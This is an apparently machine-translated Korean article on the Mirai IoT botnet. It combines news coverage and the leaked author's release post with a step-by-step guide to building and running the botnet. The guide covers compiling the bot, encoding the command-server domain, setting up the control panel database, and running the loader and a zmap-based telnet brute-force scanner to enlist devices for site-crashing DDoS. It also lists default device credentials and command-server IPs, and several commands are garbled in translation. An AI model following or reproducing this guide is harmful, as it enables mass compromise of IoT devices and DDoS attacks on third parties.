미라이 소스코드. Mirai 봇넷 설치 및 구성. 미라이의 작동 원리

기본적으로 Mirai는 간단하게 작동합니다. 인터넷을 검색하여 무차별 공격과 해킹에 취약한 텔넷을 통해 액세스할 수 있는 IoT 장치를 찾습니다. 악성코드는 주로 감시카메라, DVR, 라우터 등을 공격한 뒤 웜처럼 계속해서 증식한다.

이 봇넷은 최근 유럽 최대 규모의 DDoS 공격을 자행했습니다. 최대 공격력은 620Gbit/s, 1Tb/s 이상에 달했습니다. 이러한 결과를 얻기 위해 공격자는 UDP, DNS, HTTP 플러딩은 물론 전문가들이 매우 이례적이라고 인식한 GRE(Generic Routing Encapsulation) 패킷도 사용했습니다.

MalwareTech 전문가의 결론은 일반적으로 이러한 관찰과 일치합니다. 따라서 12시간 동안 연구원들은 약 72,000개의 고유 IP 주소를 기록했고 매시간 4,000개의 새로운 IP가 나타났습니다. 이를 통해 분석가들은 봇넷의 규모가 하루에 약 120,000대의 장치에 불과할 정도로 매우 작다는 결론을 내렸습니다. 봇넷의 규모가 훨씬 더 크고 수치도 100만~150만 개에 달하지만 MalwareTech 연구원이나 Akamai 전문가 모두 이에 동의하지 않습니다.

연구원들은 “이전에는 텔넷 공격의 단순성으로 인해 크게 무시되었던 미라이(Mirai)가 지난주 전 세계 언론에서 주요 논의 주제가 되었고, 법 집행 기관이 많은 국제 기업의 지원을 받아 조사를 시작했습니다.”라고 썼습니다. . “해커들이 점점 더 취약한 IoT 장치를 찾거나 NAT로 보호되는 장치를 감염시키기 시작함에 따라 강력한 DDoS 공격이 더욱 일반화될 가능성이 높습니다. 이제 제조업체는 기본적으로 전역 비밀번호가 포함된 기기 출시를 중단하고 케이스 바닥에 무작위로 생성된 비밀번호가 포함된 기기 출시로 전환해야 할 때입니다."

보고서 외에도 MalwareTech 연구원들은 Mirai 감염 지도를 보여주는 비디오를 포함했습니다(아래 참조). 또한 연구원의 웹사이트에서 실시간으로 업데이트되는 봇넷의 대화형 지도를 찾을 수 있습니다.

두 개의 VPS KVM 서버와 하나의 도메인이 필요합니다. 가상화는 KVM인데 이번에는 OpenVZ가 빠졌네요.

나는 서버를 여기로 가져갑니다 -

한 서버에 봇넷 자체를 설치하고 두 번째 서버에서 봇을 검사하겠습니다. (잔인한)

중요한. 서버는 Debian 8을 기반으로 해야 하며 RAM이 1GB 이상이어야 합니다.

모든 도메인은 중요하지 않습니다.

죄송합니다. 하지만 VPS에 도메인을 연결하는 방법은 알려드리지 않겠습니다. 어렵지 않습니다. 스스로 알아낼 것입니다.

퍼티시작해 보겠습니다.

# apt-get 업데이트 -y

# apt-get 업그레이드 -y

# apt-get install unzip gcc golang 전기 울타리 화면 sudo git -y

# apt-get install mysql-server -y

# apt-get 설치 mysql-client -y

# apt-get 설치 apache2 -y

MySQL을 설치할 때 루트 사용자가 MySQL에 액세스하려면 비밀번호를 생성해야 합니다. "qwerty"가 포함되지 않은 일반 비밀번호가 나타납니다.

어딘가에 적어두면 다시 필요할 것입니다.

# sudo apt-get install 컬 git mercurial make binutils bison gcc build-essential -y

#세게 때리다< <(curl -s -S -L

링크를 보려면 등록해야 합니다.

)

# gvm 설치 go1.4

# gvm에서는 go1.4를 사용합니다. [--default]

# gvm 설치 go1.4 -B

# gvm에서는 go1.4를 사용합니다.

# GOROOT_BOOTSTRAP=$GOROOT 내보내기

# gvm 설치 go1.5

# gvm에서는 go1.5를 사용합니다.

# gvm 설치 go1.8

# gvm에서는 go1.8을 사용합니다.

모든 유틸리티를 설치한 후 봇 소스를 다운로드하세요.

링크를 보려면 등록해야 합니다.

그리고 서버에 업로드해 보세요. 팀 wget또는 단순히 프로그램을 통해 WinSCP.

# Mirai-Source-Code-master.zip 압축을 푼다

# cd Mirai-소스-코드-마스터/mirai/tools

# gcc enc.c -o enc

# ./enc 문자열 *******(서버에 연결된 도메인을 작성합니다) Enter를 누릅니다.

여기에 다음 텍스트가 표시됩니다.

14바이트의 데이터를 XOR"하는 중...

\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22

14 - 여기에는 다른 번호가 있으므로 걱정하지 마세요. 모든 것이 정확합니다.

이 텍스트를 모두 복사합니다.

nano 편집기를 통해 열거나 다음을 통해 엽니다. WinSCP파일 table.c폴더 안에 있는 것 미라이/봇

이건 꼭 봐야해 -

링크를 보려면 등록해야 합니다.

add_entry(TABLE_CNC_DOMAIN- 따옴표 안의 모든 내용을 방금 복사한 텍스트로 변경하세요. 대신에 " 30 " 방금 복사한 번호를 적습니다. 우리는 라인에서도 똑같이합니다 add_entry(TABLE_SCAN_CB_DOMAIN

편집기를 저장하고 닫습니다.

편집기로 파일 열기 mirai/cnc/main.go

우리는 이것을 본다 -

링크를 보려면 등록해야 합니다.

"127.0.0.1" 로 변경 "127.0.0.1:3306"

"비밀번호"이전에 MySQL에 입력한 비밀번호를 변경합니다. "

파일을 저장하고 편집기를 닫습니다.

이 쓰레기를 모두 복사하세요. 왜 필요한지는 말하지 않겠습니다.

# mkdir /etc/xcompile

# CD /etc/xcompile

#wget

링크를 보려면 등록해야 합니다.

#wget

링크를 보려면 등록해야 합니다.

#wget

링크를 보려면 등록해야 합니다.

#wget

링크를 보려면 등록해야 합니다.

#wget

링크를 보려면 등록해야 합니다.

#wget

링크를 보려면 등록해야 합니다.

#wget

링크를 보려면 등록해야 합니다.

#wget

링크를 보려면 등록해야 합니다.

#wget

링크를 보려면 등록해야 합니다.

# tar -jxf 크로스 컴파일러-armv4l.tar.bz2

# tar -jxf 크로스 컴파일러-i586.tar.bz2

# tar -jxf 크로스 컴파일러-m68k.tar.bz2

# tar -jxf 크로스 컴파일러-mips.tar.bz2

# tar -jxf 크로스 컴파일러-mipsel.tar.bz2

# tar -jxf 크로스 컴파일러-powerpc.tar.bz2

# tar -jxf 크로스 컴파일러-sh4.tar.bz2

# tar -jxf 크로스 컴파일러-sparc.tar.bz2

# tar -jxf 크로스 컴파일러-armv6l.tar.bz2

# rm *.tar.bz2

# mv 크로스 컴파일러-armv4l armv4l

# mv 크로스 컴파일러-i586 i586

#mv 크로스 컴파일러-m68k m68k

# mv 크로스 컴파일러-mips mips

# mv 크로스 컴파일러-mipsel mipsel

# mv 크로스 컴파일러-powerpc powerpc

# mv 크로스 컴파일러-sh4 sh4

# mv 크로스 컴파일러-sparc sparc

# mv 크로스 컴파일러-armv6l armv6l

# 내보내기 PATH=$PATH:/etc/xcompile/armv4l/bin

# 내보내기 PATH=$PATH:/etc/xcompile/i586/bin

# 내보내기 PATH=$PATH:/etc/xcompile/m68k/bin

# 내보내기 PATH=$PATH:/etc/xcompile/mips/bin

# 내보내기 PATH=$PATH:/etc/xcompile/mipsel/bin

# 내보내기 PATH=$PATH:/etc/xcompile/powerpc/bin

# 내보내기 PATH=$PATH:/etc/xcompile/powerpc-440fp/bin

# 내보내기 PATH=$PATH:/etc/xcompile/sh4/bin

# 내보내기 PATH=$PATH:/etc/xcompile/sparc/bin

# 내보내기 PATH=$PATH:/etc/xcompile/armv6l/bin

# 내보내기 PATH=$PATH:/usr/local/go/bin

# 내보내기 GOPATH=$HOME/Documents/go

# github.com/go-sql-driver/mysql을 다운로드하세요.

# github.com/mattn/go-shellwords로 이동하세요.

# cd Mirai-소스-코드-마스터/mirai

# ./build.sh 디버그 텔넷

# ./build.sh 릴리스 텔넷

# mv mirai* /var/www/html

# CD /var/www/html

#mkdirbins

#mv*빈/

이제 MySQL.

# mysql -u 루트 -p

여기서 비밀번호를 묻는 메시지가 나타납니다. 이전에 설정한 비밀번호를 입력하세요.

# 데이터베이스 mirai 생성;

# 미라이를 사용한다

이제 여기의 모든 텍스트를 복사하세요.

링크를 보려면 등록해야 합니다.

붙여넣고 Enter를 누르세요.

여기에서 텍스트를 복사하세요 -

링크를 보려면 등록해야 합니다.

대신에 안나센빠이로그인을 작성하세요. 어느. myawesomepassword도 마찬가지입니다. 봇 제어판에 액세스하려면 이 데이터가 필요합니다.

이렇게 되어야 합니다 - 사용자 VALUES에 삽입(NULL, "pizdec", "zaebalsjapisatj", 0, 0, 0, 0, -1, 1, 30, "");

복사하여 붙여넣고 Enter 키를 누릅니다.

이제 나갈 수 있습니다.

거의 다 끝났습니다.

# cd Mirai-소스-코드-마스터/mirai/release

# Prompt.txt를 터치합니다.

# 화면 ./cnc

비문을 봐야합니다 MySQL DB 오픈

이 세션을 닫는 것이 아니라 새 세션을 엽니다.

링크를 보려면 등록해야 합니다.

******* 대신 도메인을 입력하고 열기를 클릭하세요.

사용자 이름과 비밀번호를 입력하세요. 제 경우에는 다음과 같습니다.

재발자피사티

그게 다입니다. 우리는 봇 제어판에 있습니다.

이제 봇이 필요합니다. 여기에서는 모든 것이 간단하며 설치가 필요하지 않습니다.

로더를 구성해 보겠습니다.

텍스트 파일에서 봇을 추가하려면 로더가 필요합니다. 여러 장치(라우터, 카메라, 휴대폰)를 생성했고 이를 봇에 추가하려면 로더가 필요하다고 가정해 보겠습니다.

또한 로더는 "웜"입니다.

다음을 통해 서버에 연결하세요. PuTTY 및 WinSCP.

WinSCP를 사용하여 파일을 찾습니다. main.c폴더에 Mirai-소스-코드-마스터/dlr

스크린샷과 같이 서버의 IP를 작성합니다.

링크를 보려면 등록해야 합니다.

쉼표는 그대로 둡니다. 그렇게 되어야 합니다. 저장하고 닫습니다.

이제 PyTTY우리 서버로 가서 글을 쓰세요 -

# cd Mirai-소스-코드-마스터/dlr

# chmod 777 *

# ./build.sh

# CD 출시

# mv dlr* ~/Mirai-소스-코드-마스터/로더/bins

이제 열어보자 WinSCP그리고 파일을 찾아보세요 main.c폴더에 Mirai-소스-코드-마스터/로더/src

스크린샷과 같이 IP로 변경합니다.

링크를 보려면 등록해야 합니다.

저장하고 닫습니다.

을 통해 퍼티 -

# ./build.sh

사용하여 WinSCP파일을 열어 scanListen.go폴더에서 찾을 수 있는 것 Mirai-소스 코드-master/mirai/tools

서버 IP로 변경 -

링크를 보려면 등록해야 합니다.

그런 다음 PyTTY -

# cd Mirai-소스-코드-master/mirai/tools

# scanListen.go 빌드로 이동

이제 새 파일이 생겼습니다. 스캔듣기(없이 .가다, 단지 스캔듣기)

스캔듣기폴더로 이동해야 합니다 Mirai-소스-코드-마스터/로더

단지 도움을 받아 WinSCP폴더에 넣어두세요 짐을 싣는 사람

이제 모든 것이 작동하는지 확인해 보겠습니다.

# ./로더

화면에 보이는 내용이 보이면 모든 것이 올바른 것입니다.

링크를 보려면 등록해야 합니다.

오류가 발생하면 주제에 글을 써주시면 도와드리겠습니다.

목록에서 봇을 다운로드하려면 텍스트 파일을 폴더에 놓습니다. 짐을 싣는 사람그리고 명령을 입력하세요 -

# 고양이 목록.txt | ./짐을 싣는 사람

그게 전부입니다. 귀하가 모집한 모든 봇이 귀하와 함께 있을 것이며 귀하의 명령에 따라 사이트를 충돌시킬 것입니다.

저는 개인적으로 이 방법을 사용하지 않았는데 더 쉬운 방법을 찾았습니다.

여기에는 두 번째 서버가 필요합니다. 또한 데비안 8.

# apt-get 업데이트 -y

# apt-get 업그레이드 -y

# apt-get install python-paramiko -y

# apt-get 설치 zmap -y

zmap포트 스캐닝에 필요합니다. 작동 원리는 다음과 같습니다. KPortScan, 단지 50배 더 ​​빠릅니다.

여기에서 모든 코드를 복사하세요.

링크를 보려면 등록해야 합니다.

그리고 다른 이름으로 저장 scan.py

여기에서 비밀번호와 로그인 정보를 추가할 수 있습니다.

링크를 보려면 등록해야 합니다.

콤보만지지 마세요!

여기에서 봇이 위치한 서버의 IP를 등록해야 합니다.

링크를 보려면 등록해야 합니다.

모든 것을 변경하고 저장합니다.

우리 서버의 아무 곳에나 scan.py 파일을 놓습니다. 순전히 스캔 전용인 두 번째 서버에서는 봇을 건드리지 않는 서버입니다.

스캔할 IP가 필요합니다.

#zmap -p22 -o list.txt -B 100M(다른 포트를 스캔해도 되지만 저는 항상 22 또는 23을 스캔했습니다)

모든 결과는 파일에 저장됩니다. 목록.txt

IP(많을수록 좋음) 파일을 수집한 후 목록.txt파일 옆에 던져주세요 scan.py쓰기 -

# 파이썬 scan.py list.txt 500

그게 다입니다. 우리는 앉아서 봇넷이 어떻게 성장하는지 지켜봅니다.

봇이 200개 이상인 경우 로더를 시작할 수 있습니다.

이렇게 하려면 봇넷이 설치된 서버로 이동하여 -

# cd Mirai-소스-코드-마스터/로더

# ulimit -n 9999999

# ./scanListen | ./짐을 싣는 사람

이제 봇은 "웜"처럼 작동하여 더 많은 봇을 제거합니다.

지난 주, 최대 1Tb/s 용량의 기록적인 DDoS 공격에 사용된 Mirai 봇넷 구성 요소의 소스 코드가 온라인에 유출되었습니다.

미술. 러시아 연방 형법 273. 악성 컴퓨터 프로그램의 생성, 사용 및 배포

1. 컴퓨터 정보의 무단 파기, 차단, 수정, 복사 또는 컴퓨터 정보 보호 수단의 무력화를 의도적으로 의도한 컴퓨터 프로그램 또는 기타 컴퓨터 정보의 생성, 배포 또는 사용, -

최대 4년의 자유 제한, 최대 4년의 강제 노동, 또는 최대 20만 루블의 벌금 또는 1천만 루블 이하의 벌금에 처해질 수 있습니다. 최대 18개월 동안 유죄 판결을 받은 사람의 임금 또는 기타 소득 금액.

2. 사전 음모에 의한 집단, 조직적 집단 또는 공직을 이용한 개인이 행한 행위로서 중대한 피해를 입히거나 사리사욕을 가지고 행한 행위로서 본 조 제1부에 규정된 행위 , -

4년 이하의 자유 제한 또는 5년 이하의 강제 노동에 처해지며, 3년 이하의 특정 직책을 맡거나 특정 활동에 참여할 권리가 박탈됩니다. 10만~20만 루블의 벌금 또는 2~3년 동안 또는 10만~20만 루블의 벌금 또는 유죄판결을 받은 사람의 임금 또는 기타 소득 금액과 함께 최대 5년의 징역형에 처해집니다. 최대 3년 동안 특정 직책을 맡거나 특정 활동에 참여할 권리가 박탈되거나 박탈되지 않습니다.

3. 이 조의 제1부 또는 제2부에 규정된 행위가 중대한 결과를 초래하거나 그러한 행위의 발생 위협을 조성한 경우,

최대 7년의 징역형에 처해질 수 있다.

이 봇넷은 주로 카메라, DVR 장치 등으로 구성됩니다.

감염은 매우 간단하게 발생합니다. 인터넷에서 열려 있는 80/23(웹/텔넷) 포트를 검색하고 하드 코딩된 계정을 선택합니다.

가능한 경우 내장 계정의 비밀번호를 변경하는 사용자는 거의 없으므로 봇넷은 지속적으로 새로운 장치로 보충됩니다. 웹 인터페이스에 있는 동안 비밀번호를 변경할 수 있다면 많은 사용자는 비밀번호와 텔넷 액세스 존재 여부를 알 수 없습니다.

가장 일반적으로 사용되는 계정은 다음과 같습니다.

활성화:시스템
쉘:sh
관리자:관리자
루트:xc3511
루트:vizxv
루트:관리자
루트:xmhdipc
루트:123456
루트:888888
지원:지원
루트:54321
뿌리 : juantech
루트:안코
루트:12345
관리자:
루트:기본값
관리자 비밀번호
루트:루트
뿌리:
사용자:사용자
관리자:smcadmin
루트:패스
관리자:admin1234
루트:1111
손님:12345
루트:1234
루트:비밀번호
루트:666666
관리자:1111
서비스:서비스
루트:시스템
감독자:감독자
루트:klv1234
관리자:1234
루트:ikwb
루트:Zte521

액세스 권한을 얻은 후 명령 센터는 새 봇이 있다는 바이너리 알림을 받습니다.

4a 9a d1 d1 = XXX.XXX.XXX.XXX (호스트 주소가 여기에 있었습니다)
05 = 탭
17 = 23(포트 23 텔넷)
05 = 탭
61 64 6d 69 6e = 사용자 이름:admin admin
05= 탭
61 64 6d 69 6e = 사용자 비밀번호: admin

봇넷 구성 요소는 식별된 샘플에서 알 수 있듯이 다양한 환경에서 작동하도록 설계되었습니다.

mirai.arm
mirai.arm7
mirai.mips
mirai.ppc
미라이.sh4

명령 서버는 현재 다음 주소에 있습니다.

103.1.210.27
103.1.210.28
185.130.225.65
185.130.225.66
185.130.225.83
185.130.225.90
185.130.225.94
185.130.225.95
185.70.105.161
185.70.105.164
185.93.185.11
185.93.185.12
200.170.143.5
46.249.38.145
46.249.38.146
46.249.38.148
46.249.38.149
46.249.38.150
46.249.38.151
46.249.38.152
46.249.38.153
46.249.38.154
46.249.38.155
46.249.38.159
46.249.38.160
46.249.38.161
80.87.205.10
80.87.205.11

봇넷을 생성하기 위한 지침은 매우 간단합니다. 다음은 있는 그대로입니다(출처 http://pastebin.com/E90i6yBB).

여러분, 안녕하세요,

처음 DDoS 업계에 뛰어들었을 때는 이 업계에 오래 머물 생각이 없었습니다. 돈도 벌었고, 이제 IOT를 바라보는 눈도 많아져서 이제 GTFO를 할 차례입니다. 그러나 나는 모든 스키드와 그들의 엄마를 알고 있습니다. qbot 외에 다른 것을 갖는 것이 그들의 꿈입니다.

그래서 오늘은 여러분을 위한 놀라운 소식을 가지고 왔습니다. Mirai를 사용하면 보통 텔넷에서만 최대 380,000개의 봇을 가져옵니다. 그러나 Kreb DDoS 이후 ISP는 천천히 종료하고 행위를 정리했습니다. 현재 최대 풀 수는 약 300,000개의 봇이며 점점 감소하고 있습니다.

그러니까 나는 선배니까, 정말 친절하게 대해줄게, HF짱.

그리고 내 CNC를 쳐서 무엇이든 할 수 있다고 생각한 모든 사람들에게 나는 크게 웃었습니다. 이 봇은 CNC에 도메인을 사용합니다. 모든 봇이 다시 연결되는 데 60초가 걸립니다. ㅋㅋㅋ

또한 Malwaremustdie가 작성한 이 블로그 게시물을 방문해 주시기 바랍니다.
http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html
https://web.archive.org/web/20160930230210/http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html<- backup in case low quality reverse engineer unixfreaxjp decides to edit his posts lol
당신에 대해 많은 존경심을 가지고 있었고, 당신이 좋은 리버서라고 생각했지만, 당신은 정말로 이 바이너리를 뒤집는 데 완전히 실패했습니다. "우리는 아직도 너희 꼬마들보다 더 나은 쿵푸를 가지고 있다"라고 웃게 만들지 마세요. 당신은 너무 많은 실수를 했고 심지어 나와 다른 바이너리를 혼동하기도 했습니다. ㅋㅋㅋ

뺨 좀 때려주지—
1) 포트 48101은 다시 연결용이 아니며 여러 봇 인스턴스가 함께 실행되는 것을 방지하기 위한 제어용입니다.
2) /dev/watchdog 및 /dev/misc는 "지연"을 위한 것이 아니라 시스템 정지를 방지하기 위한 것입니다. 이건 낮게 달린 과일인데 너무 멍청해서 슬프다
3) 실패했고 FAKE_CNC_ADDR 및 FAKE_CNC_PORT가 실제 CNC라고 생각했습니다. ㅋㅋㅋ "그리고 65.222.202.53에서 HTTP를 통해 연결하기 위해 백도어를 수행하고 있습니다." 신호 흐름에 문제가 생겼습니다 ;) 더 세게 스키도를 시도해 보세요
4) 당신의 스켈레톤 도구는 형편없어요. 공격 디코더가 "신덴 스타일"인 줄 알았는데, 텍스트 기반 프로토콜도 사용하지 않는다고요? CNC와 봇은 바이너리 프로토콜을 통해 통신합니다.
5) 'chroot("/")는 torlus처럼 예측 가능하다'라고 말했지만 이해하지 못하고 일부는 cwd를 기반으로 종료합니다. 이는 실제 악성 코드가 얼마나 루프에서 벗어나 있는지 보여줍니다. 스키드랜드로 돌아가세요

리버스 엔지니어링 도구를 작성하는 이유는 무엇입니까? 애초에 올바르게 반전할 수도 없습니다. 다른 사람에게 깊은 인상을 주기 전에 먼저 몇 가지 기술을 배우십시오. 멍청한 쿵푸 발언으로 어떻게 나를 이겼는지 선언하는 당신의 오만함은 내 SO를 먹으면서 나를 너무 웃게 만들었고 등을 두드려야 했습니다.

내가 영원히 자유로워지듯이, 당신도 영원히 평범한 존재가 될 운명에 처하게 될 것입니다.

요구사항
서버 2개: CNC + mysql용 1개, 스캔 수신기용 1개, 로딩용 1개 이상

OP 요구 사항
2개의 VPS 및 4개의 서버
— 데이터베이스 서버를 위한 매우 강력한 호스트를 갖춘 VPS 1개
— scanReceiver 및 배포자를 위한 1 VPS, 루트킷됨
— CNC용 서버 1개(400,000개의 봇에 2% CPU 사용)
— 로드용 3x 10gbps NForce 서버(배포자는 3개의 서버에 균등하게 분배)

— CNC에 대한 연결을 설정하기 위해 봇은 도메인(resolv.c/resolv.h)을 확인하고 해당 IP 주소에 연결합니다.
— 봇은 qbot보다 약 80배 빠르고 거의 20배 적은 리소스를 사용하는 고급 SYN 스캐너를 사용하여 텔넷을 무차별 공격합니다. 무차별적인 결과를 찾으면 봇은 다른 도메인을 확인하고 이를 보고합니다. 이는 결과가 나오면 자동으로 장치에 로드되도록 별도의 서버에 연결됩니다.
— Bruted 결과는 기본적으로 포트 48101에서 전송됩니다. 도구의 scanListen.go라는 유틸리티는 Bruted 결과를 수신하는 데 사용됩니다(최고 수준에서는 초당 약 500개의 Bruted 결과를 얻었습니다). 디버그 모드에서 빌드하는 경우 디버그 폴더에 scanListen 바이너리 유틸리티가 나타나는 것을 볼 수 있습니다.

Mirai는 self-rep과 유사한 확산 메커니즘을 사용하지만 제가 "실시간 로드"라고 부르는 메커니즘을 사용합니다. 기본적으로 봇은 결과를 무차별적으로 처리하고 결과를 로더로 보내는 scanListen 유틸리티를 사용하여 이를 수신하는 서버로 보냅니다. 이 루프(brute -> scanListen -> load -> brute)를 실시간 로딩이라고 합니다.

Linux에서 포트 고갈을 우회하기 위해 여러 IP 주소를 사용하도록 로더를 구성할 수 있습니다(사용 가능한 포트 수가 제한되어 있으므로 65,000개 이상의 동시 아웃바운드 연결을 얻을 수 있는 튜플의 변형이 충분하지 않음을 의미함). 이론적으로 이 값은 많이 사용됩니다. 더 적은). 5개의 IP에 걸쳐 60,000~70,000개의 동시 아웃바운드 연결(동시 로딩)이 분산되어 있을 것입니다.
봇에는 (table.c/table.h)에 난독화된 여러 구성 옵션이 있습니다. ./mirai/bot/table.h에서 당신은 할 수구성 옵션에 대한 대부분의 설명을 찾아보세요. 그러나 ./mirai/bot/table.c에는 작업을 위해 변경해야 할 *필요한* 몇 가지 옵션이 있습니다.

— TABLE_CNC_DOMAIN — 연결할 CNC의 도메인 이름 — mirai를 사용하면 DDoS 방지가 매우 재미있습니다. 사람들이 내 CNC를 공격하려고 하지만 새 IP를 찾는 것보다 더 빨리 업데이트합니다. ㅋㅋㅋ. 지연 :)
— TABLE_CNC_PORT — 연결할 포트, 이미 23으로 설정되어 있음
— TABLE_SCAN_CB_DOMAIN — 무차별 결과를 발견하면 이 도메인이 보고됩니다.
— TABLE_SCAN_CB_PORT — 무차별 결과를 위해 연결할 포트이며 이미 48101로 설정되어 있습니다.

./mirai/tools에는 enc.c라는 항목이 있습니다. table.c 파일에 넣을 내용을 출력하려면 이를 컴파일해야 합니다.

이 mirai 디렉터리 내에서 실행하세요.

./build.sh 디버그 텔넷

크로스 컴파일러를 구성하지 않은 경우 크로스 컴파일러가 존재하지 않는 것과 관련된 일부 오류가 발생합니다. 괜찮습니다. enc 도구 컴파일에는 영향을 미치지 않습니다.

이제 ./mirai/debug 폴더에 enc라는 컴파일된 바이너리가 표시됩니다. 예를 들어, 봇이 연결할 도메인 이름에 대한 난독화된 문자열을 얻으려면 다음을 사용합니다.

./debug/enc 문자열 fuck.the.police.com
출력은 다음과 같아야합니다

20바이트의 데이터를 XOR하는 중…
\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22
예를 들어 TABLE_CNC_DOMAIN 값을 업데이트하려면 긴 16진수 문자열을 enc 도구에서 제공하는 문자열로 바꾸세요. 또한 "20바이트의 데이터를 XOR하는 중"이 표시됩니다. 이 값은 마지막 인수도 대체해야 합니다. 예를 들어 table.c 줄은 원래 다음과 같습니다.
add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); //cnc.changeme.com
이제 enc 도구의 가치를 알았으므로 다음과 같이 업데이트합니다.

add_entry(TABLE_CNC_DOMAIN, "\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22″, 20); //fuck.the.police.com
일부 값은 문자열이고 일부는 포트(네트워크 순서로 uint16/빅 엔디안)입니다.
CNC 구성:
apt-get은 mysql-server mysql-client를 설치합니다.

CNC가 작동하려면 데이터베이스가 필요합니다. 데이터베이스를 설치할 때 해당 데이터베이스로 이동하여 다음 명령을 실행하십시오.
http://pastebin.com/86d0iL9g

그러면 데이터베이스가 생성됩니다. 사용자를 추가하려면,

사용자 VALUES에 삽입(NULL, 'anna-senpai', 'myawesomepassword', 0, 0, 0, 0, -1, 1, 30, ");
이제 ./mirai/cnc/main.go 파일로 이동합니다.

이 값을 편집하세요
const DatabaseAddr 문자열 = "127.0.0.1"
const DatabaseUser 문자열 = "루트"
const DatabasePass 문자열 = "비밀번호"
const DatabaseTable 문자열 = "미라이"
에 대한 정보로 MySQL 서버너 방금 설치했어

크로스 컴파일러는 쉽습니다. 설정하려면 이 링크의 지침을 따르세요. 이러한 변경 사항을 적용하려면 시스템을 다시 시작하거나 .bashrc 파일을 다시 로드해야 합니다.

http://pastebin.com/1rRCc3aD
CNC, 봇 및 관련 도구:
http://dopefile.pk/a9f2n9ewk8om
봇 + CNC 구축 방법
mirai 폴더에는 build.sh 스크립트가 있습니다.
./build.sh 디버그 텔넷

데몬화되지 않는 봇의 디버그 바이너리를 출력하고 CNC 등에 연결할 수 있는지 여부, 플러드 상태 등에 대한 정보를 인쇄합니다. ./mirai/debug 폴더로 컴파일
./build.sh 릴리스 텔넷

장치에 로드해야 하는 극도로 잘린 작은(약 60K) 봇의 프로덕션 준비 바이너리를 출력합니다. "mirai.$ARCH" 형식의 모든 바이너리를 ./mirai/release 폴더로 컴파일합니다.

로더는 다음 형식으로 STDIN에서 텔넷 항목을 읽습니다.
IP:포트 사용자:패스
wget 또는 tftp가 있는지 감지하고 이를 사용하여 바이너리 다운로드를 시도합니다. 그렇지 않은 경우 wget으로 충분한 작은 바이너리(약 1kb)를 에코로드합니다.
./build.sh

소란 없이 프로덕션 용도로 최적화된 로더를 구축합니다. 로드에 사용되는 형식의 파일이 있는 경우 다음을 수행할 수 있습니다.
고양이 파일.txt | ./짐을 싣는 사람
제한하는 것을 잊지 마세요!

분명히 말씀드리자면 저는 어떤 종류의 1:1 도움말 튜토리얼이나 그런 것도 제공하지 않고 너무 많은 시간을 투자하고 있습니다. 모든 스크립트와 모든 것이 포함되어 1시간 이내에 작동하는 봇넷을 설정할 수 있습니다. 개별적인 질문이 있는 경우 기꺼이 도와드리겠습니다(CNC가 데이터베이스에 연결되지 않는 이유는 무엇입니까? 제가 이렇게 했습니다 어쩌구 저쩌고). 그러나 "내 봇이 연결되지 않았습니다. 수정하세요."와 같은 질문은 아닙니다.

이것은 지난 몇 주 동안 모두가 글을 써왔던 트로이 목마입니다. 봇넷의 도움으로 만들어진 가장 인상적인 성과 중 하나는 작은 아프리카 국가에서 1테라비트 이상의 용량을 제공한다는 것입니다.

그는 이를 위해 몇 대의 컴퓨터를 노예로 삼았습니까?

별말씀을요. 아니면 적어도 아주 조금. Mirai의 대상 장치는 컴퓨터가 아니라 IoT 장치(비디오 녹화기, 카메라, 토스터 등)입니다. Level 3 Communications의 통계에 따르면 10월 말까지 약 50만 개의 장치가 이미 트로이 목마의 제어를 받고 있었습니다.

그리고 그는 냉장고가 달린 카메라를 모두 잡을 수 있습니까?

설마. Mirai는 단순화된 UNIX 유틸리티 세트인 Busybox를 실행하는 장치에 맞춰져 있습니다. 명령줄, 임베디드에서 기본 인터페이스로 사용됩니다. 운영체제. 트로이 목마는 ARM, ARM7, MIPS, PPC, SH4, SPARC 및 x86과 같은 특정 플랫폼만 공격합니다. 공장 설정이 있거나 보호 기능이 매우 약한 장치만 위험합니다. 관리자 자격 증명의 기본 목록이 사용되는 Telnet 포트에 대한 무차별 대입 공격을 통해 감염이 발생합니다.

비밀번호 없이 인터넷 전체에서 카메라를 검색하는 것은 왠지 비효율적입니다. 그렇지 않나요?

하지만 그들은 추측이 옳지 않았습니다. The Atlantic의 한 기자는 서버를 빌려 토스터 역할을 하는 프로그램을 작성했습니다. 40분 만에 '가전제품'에 대한 첫 번째 공격이 발생했습니다! 이후 11시간 동안 토스터는 300번 이상 해킹당했습니다. 사실 봇넷은 전례 없는 크기에 도달했으며 이를 위한 IPv4 주소 공간은 매우 작습니다. 또한 해커는 취약한 장치를 수동으로 검색하지 않으며 이는 봇넷 구성원이 수행한다는 점을 기억할 가치가 있습니다. 그리고 새로 전환된 각 "직원"도 피해자를 찾기 시작하기 때문에 봇넷은 기하급수적으로 증가합니다.

기하학적으로? 그렇다면 1년 안에 봇넷에는 수조 개의 장치가 포함될 것입니까?!

물론 아닙니다 😀 사실 IoT 장치의 수는 한정되어 있습니다. 그리고 이것은 이미 상당히 시급한 문제입니다. Mirai의 작성자는 자신의 네트워크에 있는 최대 장치 수가 38만 개였으며 여러 번의 공격 이후 사용자와 공급자가 보호 조치를 취하기 시작하자 장치 수가 30만 개로 떨어졌고 계속 감소하고 있음을 인정합니다.

Mirai의 소스 코드가 공개된 후 수많은 해커들이 이를 사용하기 시작했습니다. 현재 이 트로이 목마를 기반으로 하는 대규모 봇넷의 수는 약 52개입니다. 각 장치는 하나의 네트워크에만 속할 수 있다는 점을 명확히 할 필요가 있습니다. 즉, 장치를 캡처한 후 악성 코드는 해당 장치를 재감염으로부터 보호합니다. 기기를 다른 '소유자'에게 양도할 수 있는 유일한 경우는 기기를 다시 시작할 때입니다. 전문가에 따르면 기기를 다시 시작한 후 30초 이내에 기기가 다시 감염될 것이라고 합니다.

그럼 미라이의 효과가 감소하는 건가요?

